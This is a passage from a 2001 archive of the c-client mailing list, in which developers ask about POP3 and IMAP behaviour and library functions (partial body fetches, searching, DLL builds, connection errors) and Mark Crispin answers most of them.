should work, but "theory" and "practice" can be two different things. RFC 1939 says that the count should be exact, but that doesn't wasn't followed by POP3 servers in the past. Given the sad experience with IMAP, where vendors of broken servers say "there is nothing wrong with my server, it works just fine with Netscape and Outlook Express", I don't think that we can assume that LIST counts will ever be well tested. All it needs is for one message to calculate differently in LIST than it does in RETR. So, it's best to go with a FT_??? flag saying "OK to use POP3 LIST command for rfc822_size". > The reason I proposed my patch was that we were using a patch by someone > else before which was just setting elt->rfc822_size to 1 in pop3_header > which was really stupid I've seen that patch. Someone once wondered why I didn't use it. "Well, starting with the small matter that it'd break Pine..." :-) > Sorry, I thought mail_fetch_fast() was deprecated in favour of > mail_fetch_structure() - isn't it? Not at all. If all you want is the flags/internaldate/size, then mail_fetch_fast() is the function to call. Generally, most programs also want the envelope, which gets the mail_fetch_fast() data. If you're going to call mail_fetch_structure() anyway, there's no point to calling mail_fetch_fast() as well. > So shouldn't the latter accept this flag as well? Looking at the flag wouldn't be in mail_fetch_fast() nor mail_fetch_structure(); it'll be in the methods called by these functions in pop3.c. > OTOH, maybe it would be better to have a parameter instead of a flag? It > would allow existing programs use the TOP more easily just by setting this > parameter to TRUE. Then instead of testing the flags the code would just > test something like pop3_parameters(GET_POP3USETOP, NULL) && LOCAL->cap.top. > What do you think? In general, flags have been used to affect fetching behavior, not parameters. I don't think that making the code less consistant is a good thing. > I'll try to do it. What is the dead line for 2001a? 2001a hasn't even started, much less acquired a deadline. From pinedev@shivax2.cac.washington.edu Mon Jun 25 13:40:53 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 25 Jun 2001 13:40:52 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5PK4SD16524 for ; Mon, 25 Jun 2001 13:04:51 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Jun 25 12:31:13 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5PJVBC11776; Mon, 25 Jun 2001 12:31:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5PJV5H33534; Mon, 25 Jun 2001 12:31:05 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5PJMQ0118606 for ; Mon, 25 Jun 2001 12:22:27 -0700 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5PJMPX09314 for ; Mon, 25 Jun 2001 12:22:25 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.11.3/jtpda-5.3.3) with ESMTP id f5PJMND05366 for ; Mon, 25 Jun 2001 21:22:23 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id f5PJMNP28964 for ; Mon, 25 Jun 2001 21:22:23 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id VAA23961 ; Mon, 25 Jun 2001 21:22:22 +0200 Message-Id: <200106251922.VAA23961@seth.lpthe.jussieu.fr> Date: Mon, 25 Jun 2001 21:22:17 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client Subject: how to notify IMAP server about the folder update? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I'm using mail_copy_full() in my code to copy/move messages from one folder on the IMAP server to another and globally it works just as expected but sometimes, if the destination folder is opened in the program, the server fails to notice the new message in it and I have to close and reopen it to see them. I wonder if this is normal behaviour for the server (I've only seen it with the old "IMAP4rev1 v12.264" but as it happens very rarely I'm not sure it doesn't happen with other servers, which I use only briefly for testing, too)? And, if it is normal, is there any way to tell the server that the folder had been updated? Of course, I don't want to close/reopen the destination folder each time as it is quite time consuming. Thanks! VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 25 13:40:57 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 25 Jun 2001 13:40:55 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5PKLdD29070 for ; Mon, 25 Jun 2001 13:21:59 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Jun 25 13:21:29 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5PKLQC13592; Mon, 25 Jun 2001 13:21:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5PKLLp35752; Mon, 25 Jun 2001 13:21:21 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5PKKN044874 for ; Mon, 25 Jun 2001 13:20:23 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (remp@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5PKKNF11370 for ; Mon, 25 Jun 2001 13:20:23 -0700 Message-Id: Date: Mon, 25 Jun 2001 13:19:02 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client Subject: Re: how to notify IMAP server about the folder update? In-Reply-To: <200106251922.VAA23961@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 25 Jun 2001, Vadim Zeitlin wrote: > I'm using mail_copy_full() in my code to copy/move messages from one folder > on the IMAP server to another and globally it works just as expected but > sometimes, if the destination folder is opened in the program, the server > fails to notice the new message in it and I have to close and reopen it to see > them. I wonder if this is normal behaviour for the server (I've only seen it > with the old "IMAP4rev1 v12.264" but as it happens very rarely I'm not sure it > doesn't happen with other servers, which I use only briefly for testing, too)? The behavior that you describe isn't forbidden, but it isn't good either. It is a safe assumption that if the server doesn't see new mail until the next session, there is a reason why this is the case. Whether it is a good reason or not is another matter. However, since there's a reason why the server didn't see the new mail, it is unlikely to be anything that you can to at the client end to make it see the new mail short of making a new session (either a new SELECT or a new IMAP server session). I do not think that making a new session automatically is a good idea. In fact, I think that any client that routinely re-selects the same mailbox over and over again is a terrible client, and system management would be justified in banning its use. In other words, my advice is: "assume that servers are well-behaved. If a server is badly-behaved, don't try to fix it; you're likely to escalate a minor problem into a major problem." Now, as for reasons. Was the mailbox read-only in the server that had it selected? In mail stores, new mail is not noticed if the mailbox is read-only. If this problem is specific for older servers and not for modern servers, I would re-iterate my advice given above. Don't worry about broken older servers. The fix is to upgrade to modern servers. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Jun 26 06:53:47 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 26 Jun 2001 06:53:42 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5QDreD02861 for ; Tue, 26 Jun 2001 06:53:41 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue Jun 26 06:53:40 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5QDrcC05834; Tue, 26 Jun 2001 06:53:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5QDrTH20456; Tue, 26 Jun 2001 06:53:30 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5QDq5090916 for ; Tue, 26 Jun 2001 06:52:05 -0700 Received: from smtp01do.de.uu.net (smtp01do.de.uu.net [192.76.144.61]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5QDq4s26000 for ; Tue, 26 Jun 2001 06:52:04 -0700 Received: from penelope (penelope.materna.de [193.96.115.65]) by smtp01do.de.uu.net (5.5.5/5.5.5) with ESMTP id PAA29940 for ; Tue, 26 Jun 2001 15:52:03 +0200 (MET DST) Received: from ganymed (actually ganymed.materna.de) by penelope with ESMTP; Tue, 26 Jun 2001 15:52:01 +0200 Received: from taxis.materna.de (actually localhost) by ganymed with Internet with ESMTP; Tue, 26 Jun 2001 15:52:00 +0200 Received: by taxis.materna.de with Internet Mail Service (5.5.2653.19) id ; Tue, 26 Jun 2001 15:52:00 +0200 Message-Id: <73B855B4F72FD411A1CF009027B113C401511A39@taxis.materna.de> Date: Tue, 26 Jun 2001 15:51:57 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: julia.petkau@materna.de To: c-client@u.washington.edu Subject: How to fetch a substring from the body? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is there in c-client a possibility to fetch a string from body? I have = found char *mail_fetchbody_full (MAILSTREAM *stream,unsigned long msgno,char = *sec, unsigned long *len,long flags); but how can I send the command=20 fetch body[1]<0.8> with this function? Thanks Julia ************************************************************************= **** ************ MATERNA GmbH Information & Communications Julia Petkau Business Unit Communications Vo=DFkuhle 37 44141 Dortmund GERMANY Fon +49 (231) 55 99 - 8409 Fax +49 (231) 55 99 - 8688 +49 (231) 55 99 - 67 8947 Mail julia.petkau@materna.de -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 26 10:48:21 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 26 Jun 2001 10:48:19 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5QHmGD03852 for ; Tue, 26 Jun 2001 10:48:17 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue Jun 26 10:48:16 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5QHmEC14370; Tue, 26 Jun 2001 10:48:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5QHm9p25192; Tue, 26 Jun 2001 10:48:10 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5QHXf0111740 for ; Tue, 26 Jun 2001 10:34:34 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5QHXfK17234 for ; Tue, 26 Jun 2001 10:33:41 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5QHXe123068; Tue, 26 Jun 2001 10:33:40 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (ittai@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5QHXei03968; Tue, 26 Jun 2001 10:33:40 -0700 Message-Id: Date: Tue, 26 Jun 2001 10:32:11 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: julia.petkau@materna.de Cc: c-client@u.washington.edu Subject: re: How to fetch a substring from the body? In-Reply-To: <73B855B4F72FD411A1CF009027B113C401511A39@taxis.materna.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 26 Jun 2001 15:51:57 +0200, julia.petkau@materna.de wrote: > Is there in c-client a possibility to fetch a string from body? I have found > > char *mail_fetchbody_full (MAILSTREAM *stream,unsigned long msgno,char *sec, > unsigned long *len,long flags); > but how can I send the command > fetch body[1]<0.8> with this function? Use mail_partial_body() instead of mail_fetchbody_full(). Note that the data is returned via a mailgets callback instead of as a char* from the function. From pinedev@shivax2.cac.washington.edu Thu Jun 28 04:16:35 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 28 Jun 2001 04:16:31 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5SBGTD12358 for ; Thu, 28 Jun 2001 04:16:29 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu Jun 28 04:16:28 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5SBGSC15252; Thu, 28 Jun 2001 04:16:28 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5SBCwX19508; Thu, 28 Jun 2001 04:12:59 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5SBAj098292 for ; Thu, 28 Jun 2001 04:10:45 -0700 Received: from furgoneta.uv.es (furgoneta.ci.uv.es [147.156.1.46]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5SBAeF04014 for ; Thu, 28 Jun 2001 04:10:44 -0700 Received: from tigris.uv.es (eufrates.ci.uv.es [147.156.1.50]) by furgoneta.uv.es (8.9.0/8.9.0) with ESMTP id NAA02883 for ; Thu, 28 Jun 2001 13:10:39 +0200 Received: from idolo.ci.uv.es (totem.ci.uv.es [147.156.200.2]) by tigris.uv.es (8.9.3/8.9.3) with SMTP id NAA07222 for c-client@u.washington.edu; Thu, 28 Jun 2001 13:10:36 +0200 (METDST) Message-Id: <1445737738lopezj@uv.es> Date: Thu, 28 Jun 2001 13:10:36 +0200 (METDST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jose Agustin Lopez Bueno" To: c-client@u.washington.edu Subject: c-client to windows dll? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello! I am asking if anybody could give me a pointer to compile with MSVC++ the cclient to a .DLL, not to a .LIB.=20 Regards, Agustin =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D | Jose Agustin Lopez Bueno | | E-Mail: Agustin.Lopez@uv.es | http://www.uv.es/~lopezj/ | | Tel: +34-6-3864310 | Fax: +34-6-3864200 | | Servicio de Informatica, Universidad de Valencia, Spain | =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D "Todo gran poder conlleva una gran responsabilidad." Peter Parker "El poder corrompe. El poder absoluto corrompe absolutamente." Charles Xavier =0A -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 2 11:09:20 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 2 Jul 2001 11:09:16 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f62I9ED27649 for ; Mon, 2 Jul 2001 11:09:14 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Jul 02 11:09:10 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62I9AC18549; Mon, 2 Jul 2001 11:09:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f62I5np33870; Mon, 2 Jul 2001 11:05:53 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62I3X0106468 for ; Mon, 2 Jul 2001 11:03:33 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62I3WF13036 for ; Mon, 2 Jul 2001 11:03:32 -0700 Received: from smtp.adc.com (smtp.adc.com [155.226.10.207]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62I3WC18278 for ; Mon, 2 Jul 2001 11:03:32 -0700 Received: from mplsgtwy02.adc.com (localhost [127.0.0.1]) by smtp.adc.com (8.11.1/8.11.1) with ESMTP id f62I3QV07395 for ; Mon, 2 Jul 2001 13:03:27 -0500 (CDT) Received: by MPLSGTWY02.adc.com with Internet Mail Service (5.5.2653.19) id ; Mon, 2 Jul 2001 13:03:28 -0500 Message-Id: <7CCFE4D68E4FD511884100508BF9B5C694E353@mn02exch05.adc.com> Date: Mon, 2 Jul 2001 13:03:17 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Hullatti, Manjula" To: "'c-client@CAC.Washington.EDU'" Subject: POP3 Search MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, This is about searching for any given string in the pop3 message. As there is no pop3_search function similar to imap_search which returns the message number, what is the effective way to search for any given string. The string I'll have to search will be in the message header. I was thinking of getting the header and searching for the string in that header. But since the mailbox may have many messages, this might slow down the process of searching. Regards, Manjula -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 2 11:41:11 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 2 Jul 2001 11:41:10 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f62If9D12128 for ; Mon, 2 Jul 2001 11:41:09 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Jul 02 11:41:07 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62If7u02570; Mon, 2 Jul 2001 11:41:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f62Icup32378; Mon, 2 Jul 2001 11:38:56 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62IKT091078 for ; Mon, 2 Jul 2001 11:20:29 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62IKSK11428 for ; Mon, 2 Jul 2001 11:20:28 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (linus@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62IKSu01852 for ; Mon, 2 Jul 2001 11:20:28 -0700 Message-Id: Date: Mon, 2 Jul 2001 11:15:57 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Hullatti, Manjula" Cc: "'c-client@CAC.Washington.EDU'" Subject: re: POP3 Search In-Reply-To: <7CCFE4D68E4FD511884100508BF9B5C694E353@mn02exch05.adc.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 2 Jul 2001 13:03:17 -0500 , Hullatti, Manjula wrote: > This is about searching for any given string in the pop3 message. As there > is no pop3_search function similar to imap_search which returns the message > number, what is the effective way to search for any given string. The function to call in all cases is mail_search_full(), which will work with POP3. Never call imap_search() or any other imap_???() function directly. > The string I'll have to search will be in the message header. I was thinking > of getting the header and searching for the string in that header. But since > the mailbox may have many messages, this might slow down the process of > searching. Searching with POP3 will be slow no matter what you do. From pinedev@shivax2.cac.washington.edu Mon Jul 2 14:56:26 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 2 Jul 2001 14:56:25 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f62LuOD19077 for ; Mon, 2 Jul 2001 14:56:24 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Jul 02 14:56:23 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62LuNC26826; Mon, 2 Jul 2001 14:56:23 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f62LqhX11244; Mon, 2 Jul 2001 14:52:44 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62Lpg031982 for ; Mon, 2 Jul 2001 14:51:42 -0700 Received: from hermes.birddog.com (hermes.birddog.com [63.125.164.131]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62Lpgs26802 for ; Mon, 2 Jul 2001 14:51:42 -0700 Received: from birddog.com (ns100dmz.birddog.com [10.2.0.1]) by hermes.birddog.com (8.11.2/go_away) with ESMTP id f62LpfR26420 for ; Mon, 2 Jul 2001 16:51:41 -0500 Message-Id: <3B40EB97.79850D54@birddog.com> Date: Mon, 02 Jul 2001 16:45:59 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Terry Davis To: c-client@u.washington.edu Subject: command stream end of file MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: td@hermes.birddog.com X-Accept-Language: en X-Scanned-By: MIMEDefang 1.2 (www dot roaringpenguin dot com slash mimedefang) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have seen quite a bit of this lately. for me, it only seems to occur when the user has emails. if the user has an empty inbox the authentication goes through fast and everything is done quickly. when there is an email, it takes a long time to receive one email but eventually gives the command stream end of file error msg. has anyone made any progress on a fix for this if there is one? thank you -- Terry Davis Systems Administrator BirdDog Solutions, Inc. (402) 829-6059 www.birddog.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 2 15:46:33 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 2 Jul 2001 15:46:33 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f62MkVD28517 for ; Mon, 2 Jul 2001 15:46:31 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Jul 02 15:46:30 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62MkSC29500; Mon, 2 Jul 2001 15:46:28 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f62MkOH09490; Mon, 2 Jul 2001 15:46:24 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62Mjc083532 for ; Mon, 2 Jul 2001 15:45:38 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62MjcK22253 for ; Mon, 2 Jul 2001 15:45:38 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62MjYo21742; Mon, 2 Jul 2001 15:45:34 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (jesus@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62MjYC16848; Mon, 2 Jul 2001 15:45:34 -0700 Message-Id: Date: Mon, 2 Jul 2001 15:44:10 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Terry Davis Cc: c-client@u.washington.edu Subject: re: command stream end of file In-Reply-To: <3B40EB97.79850D54@birddog.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN "Command stream end of file" means that the client disconnected the connection without giving any prior notification to the server. The server was in "read command" wait. This is generally a client problem and not a server problem. Since you didn't say what client you are using, there isn't much more that I can offer to help you. From pinedev@shivax2.cac.washington.edu Mon Jul 2 15:51:17 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 2 Jul 2001 15:51:17 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f62MpGD01151 for ; Mon, 2 Jul 2001 15:51:16 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Jul 02 15:51:15 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu 